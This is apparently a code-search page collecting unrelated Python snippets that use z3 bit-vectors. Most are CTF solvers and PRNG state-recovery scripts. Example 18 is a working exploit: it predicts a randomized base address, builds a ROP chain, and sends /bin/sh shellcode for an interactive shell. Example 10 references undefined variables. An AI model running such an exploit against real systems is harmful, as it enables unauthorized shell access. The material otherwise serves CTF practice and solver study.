Ejemplo n.º 1
0
 def make_value_vars(prefix):
     vInput = list(
         z3.BitVecs(id_arr(f'{prefix}_valInput', nInput), 32, ctx))
     vPR = [(list(
         z3.BitVecs(id_arr(f'{prefix}_valParam_{i}', comp.arity), 32,
                    ctx)), z3.BitVec(f'{prefix}_valReturn_{i}', 32,
                                     ctx))
            for i, comp in enumerate(lib)]
     vOutput = z3.BitVec(f'{prefix}_valOutput', 32, ctx)
     return vInput, vPR, vOutput
Ejemplo n.º 2
0
def main():
    if len(argv) == 1:
        io = process("./a.out")
    else:
        io = remote(argv[1], int(argv[2]))
    log.info("get output")
    out = get_output(io, 10)
    x0, y0 = z3.BitVecs('x0 y0', 64)
    x, y = x0, y0
    s = z3.SimpleSolver()

    for v in out:
        s.add((x + y) & bit64 == v)
        x, y = xo128(x, y, z3.LShR)

    ans = []

    for i in range(1, sys.maxsize):
        if s.check().r != 1: break  # quit if failed
        soln = s.model()
        x, y = (soln[i].as_long() for i in (x0, y0))
        ans += [
            "ACTF{" + long_to_bytes(x).decode("utf-8")[::-1] +
            long_to_bytes(y).decode("utf-8")[::-1] + "}"
        ]
        for j in range(10):
            x, y = xo128(x, y)
        s.add(z3.Or(x0 != soln[x0], y0 != soln[y0]))

    for a in ans:
        log.info("possible flag: " + a)
Ejemplo n.º 3
0
def main():
    global BYTECODE

    regs = z3.BitVecs('r0 r1 r2 r3 r4 r5 r6 r7 r8 r9 r10 r11 r12 r13 r14 r15', 32) 
    regs_b = regs[:]
    code = Buffer(BYTECODE)
    opcode = None
    
    while opcode != 255:
        opcode = code.read_byte()
        
        if opcode == 0:
            lh = code.read_byte()
            rh = code.read_byte()
            regs[lh] = regs[lh] ^ regs[rh]

        elif opcode == 2:
            lh = code.read_byte()
            rh = code.read_byte()
            regs[lh] = regs[lh] | regs[rh]

        elif opcode == 3:
            lh = code.read_byte()
            rh = code.read_byte()
            regs[lh] = regs[lh] + regs[rh]

        elif opcode == 4:
            lh = code.read_byte()
            rh = code.read_byte()
            regs[lh] = regs[lh] - regs[rh]

        elif opcode == 5:
            lh = code.read_byte()
            rh = code.read_byte()
            regs[lh] = regs[lh] << regs[rh]

        elif opcode == 16:
            lh = code.read_byte()
            rh = code.read_dword()
            regs[lh] = rh

        elif opcode == 17:
            lh = code.read_byte()
            rh = code.read_byte()
            regs[lh] = regs[rh]
    
    final_expr = z3.simplify(regs[0])

    s = z3.Solver()
    s.add((final_expr) == 0)
    if s.check() == z3.sat:
        m = s.model()
        key = ''.join(map(p32, [m[regs_b[i]].as_long() for i in xrange(4)]))
        print key
    else:
        print 'parasha kakaja-to'
    return
Ejemplo n.º 4
0
def solve2():
    s = z3.Solver()
    x, y = z3.BitVecs('x y', 32)
    s.add(x > 1)
    s.add(y > 1337)
    s.add(x * y == 1337)
    if s.check() == z3.sat:
        m = s.model()
        _x = m[x].as_long()
        _y = m[y].as_long()
    r.sendline("%d %d" % (_x, _y))
Ejemplo n.º 5
0
def solve1():
    s = z3.Solver()
    x, y = z3.BitVecs('x y', 32)
    s.add(x <= 1336)
    s.add(y <= 1336)
    s.add(x - y == 1337)
    if s.check() == z3.sat:
        m = s.model()
        _x = m[x].as_long()
        _y = m[y].as_long()
    r.sendlineafter("x: ", str(_x))
    r.sendlineafter("y: ", str(_y))
Ejemplo n.º 6
0
def verify_equivalent(source_expr, targ_expr, bitnumber=8):
    x, y, z, a, b, c, d, e = z3.BitVecs("x y z a b c d e", bitnumber)
    try:
        leftEval = eval(source_expr)
        rightEval = eval(targ_expr)
    except:
        return "unsat"
    solver = z3.Solver()
    solver.add(leftEval != rightEval)
    result = solver.check()

    return str(result)
Ejemplo n.º 7
0
def verify_equivalent(leftExpre, rightExpre, bitnumber=8):
    x, y, z, a, b, c, d, e = z3.BitVecs("x y z a b c d e", bitnumber)

    try:
        leftEval = eval(leftExpre)
        rightEval = eval(rightExpre)
    except:
        return 'unsat'

    solver = z3.Solver()
    solver.add(leftEval != rightEval)
    result = solver.check()

    return str(result)
Ejemplo n.º 8
0
def solve3():
    s = z3.Solver()
    a, b, c, d, e = z3.BitVecs('a b c d e', 32)
    s.add(a < b)
    s.add(b < c)
    s.add(c < d)
    s.add(d < e)
    s.add(a + b + c + d + e == a * b * c * d * e)
    print("here")
    if s.check() == z3.sat:
        m = s.model()
        _a = m[a].as_long()
        _b = m[b].as_long()
        _c = m[c].as_long()
        _d = m[d].as_long()
        _e = m[e].as_long()
    print("yeet")
    r.sendline("%d %d %d %d %d" % (_a, _b, _c, _d, _e))
Ejemplo n.º 9
0
def find_seeds(ec, pid):
    solver = z3.Solver()
    start_s0 = z3.BitVecs('start_s0', 64)[0]

    sym_s0 = start_s0
    sym_s1 = 0x82A2B175229D6A5B

    # EC call
    sym_s0, sym_s1, condition = sym_xoroshiro128plus(sym_s0, sym_s1, ec)
    solver.add(condition)

    # TID/SID call
    sym_s0, sym_s1 = sym_xoroshiro128plusadvance(sym_s0, sym_s1)

    # PID call
    sym_s0, sym_s1, condition = sym_xoroshiro128plus(sym_s0, sym_s1, pid)
    solver.add(condition)

    models = get_models(solver)
    return [model[start_s0].as_long() for model in models]
Ejemplo n.º 10
0
def f2():
    a, b, c, d = z3.BitVecs('a b c d', 3)  # 4 bitvectors variable

    tuple = z3.Datatype('tuple')  # new data type 'tuple'
    tuple.declare(
        'tuple', ('f1', z3.BitVecSort(3)),
        ('f2', z3.BitVecSort(3)))  # f1, f2 are for accessing element in tuples
    tuple = tuple.create()
    tuple1 = tuple.tuple(a, b)  # tuple1 -> (a, b)
    tuple2 = tuple.tuple(b, c)  # tuple2 -> (b, c)

    tuple1_f2 = tuple.f2(tuple1)  # a
    #tuple1_f2 = tuple.f2(tuple1) # b
    tuple2_f1 = tuple.f1(tuple2)  # c

    print(tuple1_f2, tuple2_f1)

    if (tuple1_f2 == tuple2_f1):
        print("hi")

    arr0 = z3.K(tuple, False)  # arr0 -> arr0[tuple]  = false
    arr1 = z3.Store(arr0, tuple1, True)  # arr1 -> arr0[tuple1] = true
    arr2 = z3.Store(arr1, tuple2, True)  # arr  -> arr0[tuple2] = true
    print(arr0)
    print(arr1)
    print(arr2)

    #print(arr1[tuple1])
    #print(arr2[tuple2])

    #print(arr0)
    #print(arr1)
    #print(arr2)

    s = z3.Solver()

    s.add(tuple1_f1 == tuple2_f2)  # a = c
    s.add(tuple1_f1 == tuple1_f2)  # a = b
Ejemplo n.º 11
0
def second():
    solver = z3.Solver()

    chars = z3.BitVecs(
        ''.join((f'd{d:02} ' for d in range(len(expected) - 1))), 32)

    for ch in chars:
        solver.add(ch > 47, ch <= 57)

    an = chars[0]
    for i in range(len(chars) - 1):
        v1 = chars[i + 1] - ord('0')

        an = ((v1 + fn(an, i + an)) % 10) + ord('0')
        solver.add(an == expected[i + 1])

    solver.add(chars[0] == ord('7'))

    assert solver.check() == z3.sat
    rv = ''
    for i in range(len(chars)):
        rv += chr(solver.model()[chars[i]].as_long())
    print(rv)
    return rv
Ejemplo n.º 12
0
def find_origin_seeds(ec, pid, tid, sid, shiny):
    solver = z3.Solver()
    start_s0 = z3.BitVecs('start_s0', 64)[0]

    sym_s0 = start_s0
    sym_s1 = 0x82A2B175229D6A5B

    # EC call
    sym_s0, sym_s1, sym_ec = sym_xoroshiro128plus(sym_s0, sym_s1)

    # TID/SID call
    sym_s0, sym_s1, sym_sidtid = sym_xoroshiro128plus(sym_s0, sym_s1)

    # PID call
    sym_s0, sym_s1, sym_pid = sym_xoroshiro128plus(sym_s0, sym_s1)

    # Validate EC
    solver.add(sym_ec == ec)

    # Validate pid type
    sym_shiny = (sym_sidtid >> 16) ^ (sym_sidtid & 0xffff) ^ (
        sym_pid >> 16) ^ (sym_pid & 0xffff)
    if shiny == 0:
        solver.add(sym_shiny >= 16)
    elif shiny == 1:
        solver.add(sym_shiny < 16)
    else:
        solver.add(sym_shiny == 0)

    # Validate PID
    if shiny != 0:
        high = (sym_pid & 0xffff) ^ tid ^ sid ^ (2 - shiny)
        sym_pid = (high << 16) | (sym_pid & 0xffff)
    solver.add(sym_pid == pid)

    return [result[start_s0].as_long() for result in get_results(solver)]
Ejemplo n.º 13
0
def xo128(x, y, LShR=lambda x, i: x >> i):
    y ^= x
    return y ^ LShL(y, 14) ^ (LShL(x, 55) | LShR(x, 9)), (LShL(y, 36)
                                                          | LShR(y, 28))


if sys.argv[1] == 'seed':  # usage xo128.py seed x y
    x = int(sys.argv[2], 0)
    y = int(sys.argv[3], 0)
    for i in range(10):  # generate random numbers
        print hex((x + y) & bit64)
        x, y = xo128(x, y)
    sys.exit()

x0, y0 = z3.BitVecs('x0 y0', 64)
x, y = x0, y0
s = z3.SimpleSolver()

for v in sys.argv[1:]:
    n = int(v, 0)
    s.add((x + y) & bit64 == n)
    x, y = xo128(x, y, z3.LShR)

for i in xrange(1, sys.maxint):
    print '\n#%d = %s' % (i, s.check())
    if s.check().r != 1: break  # quit if failed
    soln = s.model()
    x, y = (soln[i].as_long() for i in (x0, y0))
    print 'state =', hex(x), hex(y)
    for j in range(10):  # show predictions
Ejemplo n.º 14
0
import z3

a, b = z3.BitVecs('a b', 32)
s = z3.Solver()

s.add(a > 3, b > 1)
# shifts are only possible with BVs
s.add(a == 1 << b)

print(s.check())
print(s.model())

Ejemplo n.º 15
0
    def create_z3_fp_program(self):
        fp = z3.Fixedpoint()
        fp.set(engine='datalog')
        
        loc_sort = z3.BitVecSort(32)

        result = ''
        locations = {}
        inv_locations = {}
        counter = 0
        for method in self._module.methods():
            for param in  method.parameters():
                locations[param] = counter
                inv_locations[counter] = param
                counter += 1
            for local_var in method.local_variables():
                locations[local_var] = counter
                inv_locations[counter] = local_var
                counter += 1
            for alloc in method.allocations():
                locations[alloc] = counter
                inv_locations[counter] = alloc
                counter += 1

        points_to = z3.Function('points_to', loc_sort, loc_sort, z3.BoolSort())
        X, Y, Z = z3.BitVecs('X Y Z', loc_sort)
        fp.declare_var(X, Y, Z)
        fp.register_relation(points_to)
        for method in self._module.methods():
            print Store
            for block in method.blocks():
                for instruction in block.instructions():
                    if isinstance(instruction, Address):
                        # X := &Y
                        # X -> Y
                        c1 = z3.BitVecVal(locations[instruction.target], loc_sort)
                        c2 = z3.BitVecVal(locations[instruction.rhs], loc_sort)
                        fp.fact(points_to(c1, c2))
                    elif isinstance(instruction, DirectVariableAssignment):
                        # X := Y
                        # All Z: Y -> Z => X -> Z
                        if isinstance(instruction.target.get_type(), Pointer):
                            c1 = z3.BitVecVal(locations[instruction.target], loc_sort)
                            c2 = z3.BitVecVal(locations[instruction.source], loc_sort)
                            fp.rule(points_to(c1, X), [points_to(c2, X)])
                    elif isinstance(instruction, Load):
                        
                        # X := *Y
                        # ALL Z1, Z2: Y -> Z1 && Z1 -> Z2 => X -> Z2
                        c1 = z3.BitVecVal(locations[instruction.target], loc_sort)
                        c2 = z3.BitVecVal(locations[instruction.rhs], loc_sort)
                        fp.rule(points_to(c1, Y),
                                [points_to(c2, X), points_to(X, Y)])

                    elif isinstance(instruction, Store):
                        # *X := Y
                        # ALL Z1, Z2: X -> Z1 && Y -> Z2 => Z1 -> Z2

                        if isinstance(instruction.rhs.get_type(), Pointer):
                            c1 = z3.BitVecVal(locations[instruction.target], loc_sort)
                            c2 = z3.BitVecVal(locations[instruction.rhs], loc_sort)
                            fp.rule(points_to(X, Y),
                                    [points_to(c1, X), points_to(c2, Y)])
                
        print 'FP: %s' % fp                    
        fp.query(points_to(X, Y))
        
        print 'Q: %s' % fp.get_answer()
        answer = fp.get_answer()
        print answer.arg(0).children()[0]
        print answer.arg(0).children()[1]
        print inv_locations
        for i in xrange(0, answer.num_args()):
            p1 = (answer.arg(i).children()[0].arg(1)).as_long()
            p2 = (answer.arg(i).children()[1].arg(1)).as_long()
            print '%s points to %s.' % (inv_locations[p1],
                                        inv_locations[p2])
Ejemplo n.º 16
0
    return (t * 9) & bit64


func = sys.argv[1]  # '+' = plus scrambler
if func not in ('+', '**'):  # '**' = mul-rotate-mul
    print 'Unknown scrambler'
    sys.exit()

if sys.argv[2] == 'seed':  # usage xo256.py func seed x0 x1 x2 x3
    x = [int(sys.argv[i], 0) for i in range(3, 7)]
    for i in range(10):  # generate random numbers
        print '0x%x' % scramble(x, func)
        xoshiro256(x)
    sys.exit()

x0, x1, x2, x3 = z3.BitVecs('x0 x1 x2 x3', 64)
x = [x0, x1, x2, x3]  # mutable state, allow update
s = z3.SimpleSolver()

for v in sys.argv[2:]:  # usage xo256.py func seq1 seq2 seq3 ...
    s.add(scramble(x, func, z3.LShR) == int(v, 0))
    xoshiro256(x, z3.LShR)

for i in xrange(1, sys.maxint):
    print '\n#%d = %s' % (i, s.check())
    if s.check().r != 1: break  # quit if failed
    soln = s.model()
    x = [soln[i].as_long() for i in (x0, x1, x2, x3)]
    print 'seed = 0x%016x,%016x,%016x,%016x' % tuple(x)
    for j in range(10):  # show predictions
        print '0x%x' % scramble(x, func)
Ejemplo n.º 17
0
import z3

h = [
    0xA7, 0xBF, 0xD2, 0x9E, 0x0F, 0x01, 0x6B, 0x53, 0x68, 0x37, 0xB7, 0x60,
    0x7C, 0xBA, 0xB4, 0xA8
]
xor = [
    212, 162, 242, 218, 101, 109, 50, 31, 125, 112, 249, 83, 55, 187, 131, 206
]
h = [h[i] ^ xor[i] for i in range(16)]
x0, x1, x2, x3, x4, x5, x6, x7, x8, x9, x10, x11, x12, x13, x14, x15 = z3.BitVecs(
    'x0 x1 x2 x3 x4 x5 x6 x7 x8 x9 x10 x11 x12 x13 x14 x15', 8)

s = z3.Solver()
s.add(
    z3.And(
        (h[0] == x2 ^ x3 ^ x4 ^ x8 ^ x11 ^ x14),
        (h[1] == x0 ^ x1 ^ x8 ^ x11 ^ x13 ^ x14),
        (h[2] == x0 ^ x1 ^ x2 ^ x4 ^ x5 ^ x8 ^ x9 ^ x10 ^ x13 ^ x14 ^ x15),
        (h[3] == x5 ^ x6 ^ x8 ^ x9 ^ x10 ^ x12 ^ x15),
        (h[4] == x1 ^ x6 ^ x7 ^ x8 ^ x12 ^ x13 ^ x14 ^ x15),
        (h[5] == x0 ^ x4 ^ x7 ^ x8 ^ x9 ^ x10 ^ x12 ^ x13 ^ x14 ^ x15),
        (h[6] == x1 ^ x3 ^ x7 ^ x9 ^ x10 ^ x11 ^ x12 ^ x13 ^ x15),
        (h[7] == x0 ^ x1 ^ x2 ^ x3 ^ x4 ^ x8 ^ x10 ^ x11 ^ x14),
        (h[8] == x1 ^ x2 ^ x3 ^ x5 ^ x9 ^ x10 ^ x11 ^ x12),
        (h[9] == x6 ^ x7 ^ x8 ^ x10 ^ x11 ^ x12 ^ x15),
        (h[10] == x0 ^ x3 ^ x4 ^ x7 ^ x8 ^ x10 ^ x11 ^ x12 ^ x13 ^ x14 ^ x15),
        (h[11] == x0 ^ x2 ^ x4 ^ x6 ^ x13),
        (h[12] == x0 ^ x3 ^ x6 ^ x7 ^ x10 ^ x12 ^ x15),
        (h[13] == x2 ^ x3 ^ x4 ^ x5 ^ x6 ^ x7 ^ x11 ^ x12 ^ x13 ^ x14),
        (h[14] == x1 ^ x2 ^ x3 ^ x5 ^ x7 ^ x11 ^ x13 ^ x14 ^ x15),
Ejemplo n.º 18
0
def pwn():
    readtil('Quit\n')

    # Instantiate SMT solver to recover the PRNG state and subsequently
    # be able to calculate the next address the binary will rebase to
    solver = z3.Solver()
    prevstate = z3.BitVecs('x0 x1 x2 x3 x4 x5 x6 x7 x8 x9 x10 x11 x12 x13 x14 x15', 32)
    variables = prevstate[:]

    # Feed solver the observed values
    idx = 15
    for i in range(16):
        idx = prngz3(prevstate, idx)
        curr_value = view_state()
        solver.add(prevstate[idx] == curr_value)

    # Solve all the things!
    assert solver.check() == z3.sat
    print("[+] State sucessfully recovered")

    # Extract previous state ...
    state = []
    for v in variables:
        if solver.model()[v]:
            state.append(solver.model()[v].as_long())
        else:
            # One variable can't be recovered as it is overwritten before
            # being used in any operation. Obviously no big deal though.
            state.append(0)

    # ... and forward to current state
    idx = 15
    for i in range(16):
        idx = prng(state, idx)

    # Verify that everything works
    idx = prng(state, idx)
    assert state[idx] == view_state()
    print("[+] Able to predict future PRNG output")


    # Calculate next base and pwn the process with a simple ropchain.

    # Binary calls rand() once for every byte it receives...
    for i in range(101):
        idx = prng(state, idx)

    base = state[idx] & ~0xfff
    print("[+] Next base address: 0x{:x}".format(base))

    mmap = 0x754
    read = 0x8af
    adjust = 0x1d73     # esp += 28

    rop = b'A' * 22
    rop += p(base + mmap)
    rop += p(base + adjust)
    rop += p(0x31337000)
    rop += p(0x1000)
    rop += p(0x7)
    rop += p(0x20 | 0x10 | 0x2)
    rop += p(0xffffffff)
    rop += p(0)
    rop += p(0x41414141)
    rop += p(base + read)
    rop += p(0x31337000)
    rop += p(0)
    rop += p(0x31337000)
    rop += p(0x1000)

    smash_stack(rop)

    # the standard stuff
    sc = b"\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"
    send(sc)

    print("*** pwned ***")
    t = telnetlib.Telnet()
    t.sock = s
    t.interact()
Ejemplo n.º 19
0
import z3

s = z3.Solver()
# Create 8-bit bitvectors for each of the 21 chars in the string.
chrlist = z3.BitVecs(
    'c0 c1 c2 c3 c4 c5 c6 c7 c8 c9 c10 c11 c12 c13 c14 c15 c16 c17 c18 c19 c20 c21 c22',
    8)

# Do a preliminary constraint that all characters must be ascii.
for char in chrlist:
    s.add(z3.And(0x20 < char, char < 0x7f))


def get_models(s):
    while s.check() == z3.sat:
        m = s.model()
        yield m
        s.add(z3.Or([sym() != m[sym] for sym in m.decls()]))


# add constraints from program:
# given values
s.add(chrlist[2] == ord('t'))
s.add(chrlist[9] == ord('c'))
s.add(chrlist[16] == ord('n'))
s.add(chrlist[21] == ord('z'))
s.add(chrlist[22] == ord('}'))

# some of these are new, TODO: add them back to the go prog
s.add(chrlist[5] == chrlist[2] - 1)
s.add(chrlist[2] ^ chrlist[3] == 18)
Ejemplo n.º 20
0
from rfb_mc.implementation.direct_integrator_z3 import DirectIntegratorZ3
from rfb_mc.implementation.eamp.eamp_edge_scheduler import EampEdgeScheduler
from rfb_mc.implementation.eamp.eamp_rfmi_z3 import EampRfmiZ3
from rfb_mc.implementation.runner_z3 import FormulaParamsZ3, RunnerZ3
from rfb_mc.types import Params
from rfb_mc.implementation.aws.dynamodb_store import DynamodbStore

dynamodb = boto3.resource("dynamodb")
# should be replaced with used table and requires AWS CLI credentials to be setup
table = dynamodb.Table("rfb_mc_store_test")

RunnerZ3.register_restrictive_formula_module_implementation(EampRfmiZ3)

if __name__ == "__main__":
    k = 20
    x, y, z = z3.BitVecs("x y z", k)
    f = z3.And([
        z3.URem(x, 200) == 0,
        z3.URem(y, 200) == 0,
        z3.ULT(z, x + y),
    ])

    a = 100

    ident = DynamodbStore.create_store_data_entry(
        table,
        Params(bit_width_counter=Counter({k: 2}), ),
    )

    store = DynamodbStore(table, ident)
Ejemplo n.º 21
0
#! /usr/bin/python3.7

import z3


c1, c2, c3 = z3.BitVecs('c1 c2 c3', 64)
rbx, r13, rbp, = c1, c2, c3


# rbx must equal 0x471DE8678AE30BA1

r13 =  0x83F66D0E3
rbp = 0x24A452F8E
rbx = rbx * r13
rbx = rbx + rbp


rbx = rbx * r13 
rbx = rbx + rbp

rbx = rbx * r13
rbx = rbx + rbp


rbx = rbx * r13
rbx = rbx + rbp


rbx = rbx * r13
rbx = rbx + rbp